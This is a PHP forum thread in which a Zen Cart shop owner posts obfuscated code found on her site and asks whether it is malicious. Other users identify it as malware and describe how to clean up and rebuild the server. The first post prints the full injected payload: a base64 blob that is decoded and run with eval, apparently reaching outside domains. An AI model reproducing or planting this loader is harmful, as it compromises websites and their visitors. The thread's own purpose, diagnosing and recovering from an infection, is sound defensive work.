CherieV Posted September 4, 2014 Share Posted September 4, 2014 I have a lot of garbly gook in my zen cart. I am NOT a php programmer, but I do well enough with my ZenCart to manage. I have a code that starts like this: <?php /*versio:3.02*/ $GLOBALS["ktrmpz"]="PaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuJVsoZGlzcGxheV9lcnJvcnMNmHJZmVkb3IvdGVzdF93ZWJuZXQYMy4wMgwhdGhhaDFOaWV0aGFpMnphaDZBaHIPQLaHR0cDovLwVzoUuSFRUUFMb2ZmUFJaHR0cHM6Ly8KfYPSFRUUF9IT1NUcgnZdW5pb24PVvmc2VsZWN0DBQVUUkVRVUVTVF9VUkkSWfTgU0NSSVBUX05BTUUBipUVVFUllfU1RSSU5HXSPwuXIoZGV0ZXJtaW5hdG9yUBnqLgxLmxvZwBseESFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQfCvydmVyc2lvADLQcKLXBocAHSFRUUF9FWEVDUEhQkNYxCZb3V0HCjPEUb2sbtSFRUUF9VU0VSX0FHRU5UGLAyNmZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxdYQvHYWxqZXIuYml6VEpZmFzdGFkZHouY29tHL3czLnBocD91PQTaPJms9UqtLJnQ9cGhwJnA9rHagTHJnY9YUZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYvbHZvOGdTL2xjNnlCcGh3V0NEd2NmazhaUm8xdk1tMG13U2VaeVZWck1Sd3RBRWJDNXorSXJ5djc4cXVqRTRzVWY3azNFZlZWOWRYMVVISGhHdlhPb0ZNWFZGd2FVRnphSWd0b3NrRTdyZFZ4TEF0bGZHVGhFa3NVVjNRVjdrWXJGY2h1VStjY1MrcE1wcXY0dm5ib0k0c0hKYU5KdER5WkMxZmxjbWF2ZjZ6TFpxU0ZwZlZpZHdvQThIM2tpdGhWZ2JtbnVKbldhYmFMY1dPKzR5OHZlQlRENTFYdnpBWCs2SlNlNmZmdnpva2xmU3JFU0JreVZGRUZHeHlFb0s4akphbEZsTVBKcDR0WWgzV2haSlZzWVVydEM5TDNiQ0xOdUZvS1dUNWdmSDNvQkZuWTJ6aW5ZSkNCZWNNZ3VGYTlJcEV4cllTMWpoZTRwZ2dWMEZiS0diS2h0ZndFYkJEc05rYThFbHkwdFNHZ3RkWW9JVVZVRE1ITmlORjRRVVQxdE9FaGMwQnJjS2ZsR2tYM285Z1NpRTQ4RXZCa2dod3FldDZiMDRRbVVHRFhONkxqUWNJa2FrRTc3RStXSU5hRy80cWdoWFFWeTJ0dW1KRFJDWEpFVXJPcXUwOE9tcGdYUkhIZGk2NFJkRkxsWW1YNTltUHg0ZTV4Yjh5T1JmWUhkS2hINVp6dmZwN1IvVG1VdzhHMno3N2NuWmRQNDB1NS9QYnU5L2ZzTWJQT1NYTDN4OXVMK2ZmcDNQNy82Y1Bqek5aVEpFUitUMmZ1OGNLdmN3cyt0N0tBb2piamxoa3RQV0tqcWNSbW14Ri9sbGNITWpSaEN1Mytybzh0VTZVcGlxTEFkUm5aY256Z3J6b3NtNmNSOHlMMThWV2ViaXgzYnBSYUZNREs2enpsOFVreWVyblIwemRlUzBJZ0MybDVhWUJIWEpDUCtienNrcmo4S2JvR0FZOGhYNVBwOC85bFNsRHd2L1pQL0U4UE05eVlzdkJENWVPYVMzYWdQZHRBcWRZTDBBRlkvZkg2MkhuNHJRRXhUOC9HczYrM24zY0g5RzZWTk9zOCszTDVEVFgwQTV1MS9KcTJWdWZjaDk4ZXBDblhPanV1VFRKeUsrcTJ2eXVkbitEOUc2alVNVWRDeVVVd3VJcW8ycldybnhlQ0NQTk5ESmtpZytSR0FVM2FWaDRsSlJPT0tUYTVGd3JveVJzdmpwWC8zbmhsZUM2TXc5ZHE3UytYWkNOYXZWZHI5ZEo1U1dDd2o2MHR2dTNTMmNMOUpWVXV6QUNPcjRDUkgrdGdTRmJ5ckNGL2htK3p4SXArVGxyZzVoNm1ZUlNoWTc2YUdNRm42M0laZU85WE02Z3dqOTRsdlBlTHV6UFNTaHR6TWJDbFlsZlNSckEvU0liK2QybVRWN2c2R2tEK1dxVU1yQTMwYTAyUm9ieU93ajNHTEowbXdOZ2ZSMWJBa3NjWU84OGw4TnBzMzlLcEQvcVB0Y3Q1aWJqNGVNdmpRMjhBeTVNa21qUVpPZ1dIUkdjTyswcTRPSnBFSlBVWGtJK0FIRnpJdXNTSUNTYVhaT0VZQ2VqR1ZWNjJKOHZTU2p0dU5EMFZsWVBIWk9lRWpNL3pieFFzUWdNMDBnMjlpaTNEaHVJS25nMVJGMnhVckdMeTdnK2NUeDZtZ2tnNXNhSnI4a2I2eURUU041L0h0NXFsVExld04wNHRWRnowTmNoMkNzZ2E1SFB2bDRRaDFKNDFGMW91TEdqM0dCNEEwbjFRR004dVVncXpBZUREUlpIVjdVTlFGZnFTclRwYlNDclBiQmFHTW9hMTFvSW1jZ2dMbmFRSzBrWDc4ck5Wb2VvbVdST0ZsaEp5SW15U3FMRjV1RDZRWlpiQU9OV05hM3V4OVR5K29xZjl6Tm9DYzh6UDRHOFkrM3MxdjRoSXgyOTg1MmdYUjNtMlgyWGlSQ3o2V2JYdTVIVU9CQ3I0alNudUpCdy81Y3hzR3VXYnI3T3ExWEdyakMvTTlINGZsMFpYcGNtdDcvMVQ1Ui93VlVKeXY4UXFVSHBSOW5qQklJeUhZdFdMYkFOZ0hHS0c2cUlyQ2p4Ny9iOURPZk1YcnNVbjVoMTRIRXA3QjNVZ2JjSVZnSTBkS040aFhQL3l2ZUNma2l1cHA5S3VaWno3SUpLYmUyV1ZEWUMrRC85azBHQnVjT3RuaE5GcUIvVlROcDNWWFpzZXNxeDZ1S0Nac21pZzBCaU9lVnNGbTJOV2lxbUV4Vkh0YWpabDF6bmZWdXZVeFhaazBVNTFLdFZUQUFkQm43aTJWazNrU3VVU3RXZUdQa0ZLcHd2a1I2Zk5rbWgySmp2a3RLcFpYblVFdGpGZkpjNFpLdlA4TFhnZFRVRVlQUEphTHM0TEFvL1IyNmpLMjFwQTRsYlRTb3VQc0N0VTdHTUh1enVqTk5yaG10SytCem1UYThvdlUxMEEydXcwYkttaFR2UmFjdHJWRTlIZ0g3VFlDdDVMcWxOTGpHbXFRTjljcFkxb21hTGFobVVEUUJ6UFhJazlETjRoQ2FITkxaL2dCR1RDYWNYdUFCUWpkMldOLzdsM0MxL2hDSWVBRHRSRzUxbUlrMGdPWTA2TEpVMlFXRnlMS21rMnpYL2hhbnJXODRvdUlJR2NTcGJTTk4vcjdEQUU1cFVyMkdUbHBNUFh3MDdwc0FzV25vb2hhZVNWOGFEUHF5QVQydnFzSjhGeFpPOEs0TE1TVHljZmZLTkN1UVZjNDY0Y0lOcThtVFRaMGZFa2JyVjVRK1BISERTTkw3RTRDQ3llYmxMK3RpZ3lKS3JEa0hVWjhMQ2ZDNXdmSUtoMmdQYXgwS25RRUEyVGpIZFdHZUtXQzRZVUQ1SHlZZi9sVHo0WEZnWXhjUkFITzlPWWNoOElRYmFsYkIxMVJ0V0pVTlJWSTZ2dGpVQ3hDbkU1WXV0WkxZb2EzMUZoblU0WVczR3VwQjE5SE04OFA4MkEyT2h1cWFKaG5Wek5EeW1LRkx1bDUxcGJyeVRrR2dRRTQ0TFRmeUpmWTB3em1kdEJxaERrUFFFT3BQaDVwaDU1cW82Uk5ER3VpeWZ1U09WamtCdklGcUlMNHp0V1lNcThMQmk2eEVNY0JsR2F4VFVQM3VXY3djQUtOdjh6SysvdWhjeHRMOHBmT1J3S0MyTllNUkdCL04vZytDalQzTiIpKSk7at"; if (!function_exists('tjjluyoc')){function tjjluyoc($a, $b){$c=$GLOBALS['ktrmpz'];$d=pack('H*','626173653634'.'5f6465636f6465'); return $d(substr($c, $a, $b));};eval(tjjluyoc(561,3272));};?><?php My gut says this is way wrong? thoughts? Quote Link to comment https://forums.phpfreaks.com/topic/290858-site-infected-or-is-this-real-code/ Share on other sites More sharing options...
boompa Posted September 4, 2014 Share Posted September 4, 2014 Looks suspicious to me. See this thread: http://forums.phpfreaks.com/topic/287489-please-help-removing-first-line-of-php/ Quote Link to comment https://forums.phpfreaks.com/topic/290858-site-infected-or-is-this-real-code/#findComment-1489977 Share on other sites More sharing options...
CherieV Posted September 4, 2014 Author Share Posted September 4, 2014 I see your code note but haven't a clue how to test this. Again, I am not a programmer, just sufficient enough to run my zen cart. are there step by step instrux anywhere? thank you, btw, for your VERY prompt response. Quote Link to comment https://forums.phpfreaks.com/topic/290858-site-infected-or-is-this-real-code/#findComment-1489980 Share on other sites More sharing options...
Jacques1 Posted September 4, 2014 Share Posted September 4, 2014 They've decoded a similar script at Web Hosting Talk, and it was clearly malware. So, yes, that's most probably an infection. Do not try to manually “clean” the server by removing those code snippets. You never know what is still lurking somewhere else. Instead, take the site offline, change all admin credentials (passwords, SSH keys etc.) and look for obvious backdoors like new user accounts. If you can find out how the attack happened, that's of course helpful, but don't spend too much time on it. After this, you basically have to backup your current data, nuke the server, reinstall it with a secure(!) configuration and then carefully restore the website. Check for security updates of Zen Card. Of course this is easier said than done. Do you have a friend who can help you? Anybody who knows how to manage a webserver? Quote Link to comment https://forums.phpfreaks.com/topic/290858-site-infected-or-is-this-real-code/#findComment-1489987 Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.